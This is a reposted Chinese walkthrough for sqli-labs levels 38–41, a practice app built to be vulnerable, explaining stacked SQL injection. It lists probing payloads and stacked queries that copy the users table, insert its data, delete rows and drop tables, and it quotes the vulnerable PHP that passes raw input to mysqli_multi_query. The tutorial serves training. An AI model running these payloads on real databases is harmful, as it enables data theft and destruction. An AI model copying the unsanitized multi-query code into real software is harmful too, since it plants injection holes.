ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs 通关指南:Less 38 ~ 41

2020-11-15 16:34:13  阅读:398  来源: 互联网

标签:38 Less 41 堆叠 WhiteMoon --+ id 注入


Less 38 ~ 41 虽然使用 Less 1 的方式注入即可注入成功,但是这 4 关存在堆叠注入漏洞。我们可以使用 “;” 闭合第一个 SQL 语句,然后在后面执行任意的 SQL 语句,通过这个漏洞我们可以对数据库执行任意的操作。

目录

Less 38

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

?id=1'


把后面的信息注释掉,网页返回正常信息,说明此处存在单引号闭合的字符型注入。

?id=1'--+

堆叠注入

此处使用 Less 1 的 payload 就可以完成注入,此处用于测试堆叠注入。所谓堆叠注入就是在原语句后加上分号,从而闭合前面的内容作为第一条 SQL 语句。然后在后面输入第二条的数据库操作语句,在条件允许可以被后端带入数据库执行。堆叠注入使用的范围非常有限,例如后端可能会限制 SQL 只执行一条语句。一旦这种漏洞存在,对数据库的破坏性是毁灭性的,因为这表示攻击者可以肆意对数据库进行操作。
例如此处使用堆叠注入新建一张表,使用 CREATE TABLE 子句,该表将复制 users 表作为一张新的表存在。这种复制可以结合 SQL 注入爆出表名来复制,也可以用社会工程学来猜测。

?id=1';CREATE TABLE WhiteMoon LIKE users;--+


网页回显正常的信息,打开数据库发现已经多了一张新的表了。

使用堆叠查询把 users 表中的数据插入新的表中,使用 INSERT INTO 子句实现。

?id=1';INSERT INTO WhiteMoon SELECT * FROM users;--+


使用堆叠查询新建的表的所有记录删掉,使用 DELETE 子句实现。

?id=1';DELETE FROM WhiteMoon;--+


使用堆叠查询把新建的表删掉,使用 DROP 子句实现。

?id=1';DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";

/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{    
      /* store first result set */
      if ($result = mysqli_store_result($con1))
      {
            if($row = mysqli_fetch_row($result))
            {
                  echo '<font size = "5" color= "#00FF00">';	
                  printf("Your Username is : %s", $row[1]);
                  echo "<br>";
                  printf("Your Password is : %s", $row[2]);
                  echo "<br>";
                  echo "</font>";
            }
            //mysqli_free_result($result);
      }
      /* print divider */
      if (mysqli_more_results($con1))
      {
            //printf("-----------------\n");
      }
      //while (mysqli_next_result($con1));
}
else 
{
      echo '<font size="5" color= "#FFFF00">';
      print_r(mysqli_error($con1));
      echo "</font>";  
}

Less 39

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页回显错误信息。

?id=1'


把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句都是错误,说明此处存在数值型注入。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

Less 40

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

?id=1'


把后面的信息注释掉,网页仍然返回错误信息。测试以下所有语句,测试得出此处是单引号和括号闭合的字符型盲注。

?id=1'--+
?id=1')--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1');CREATE TABLE WhiteMoon LIKE users;--+
?id=1');INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1');DELETE FROM WhiteMoon;--+
?id=1');DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

if (mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if ($result = mysqli_store_result($con1))
      {
            if($row = mysqli_fetch_row($result))
            {
                  echo '<font size = "5" color= "#00FF00">';	
                  printf("Your Username is : %s", $row[1]);
                  echo "<br>";
                  printf("Your Password is : %s", $row[2]);
                  echo "<br>";
                  echo "</font>";
            }
            //mysqli_free_result($result);
      }
      /* print divider */
      if (mysqli_more_results($con1))
      {
            //printf("-----------------\n");
      }
      //while (mysqli_next_result($con1));
}

Less 41

判断注入类型

输入正确的参数,网页回显正常的信息。使用单引号闭合,网页无回显。

?id=1'


把后面的信息注释掉,网页无回显。测试以下所有语句,全部都无回显,说明此处存在数值型盲注。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+

堆叠注入

使用堆叠查询完成 Less 38 的样例。

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

SQL 查询语句

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";

标签:38,Less,41,堆叠,WhiteMoon,--+,id,注入
来源: https://www.cnblogs.com/linfangnan/p/13977097.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有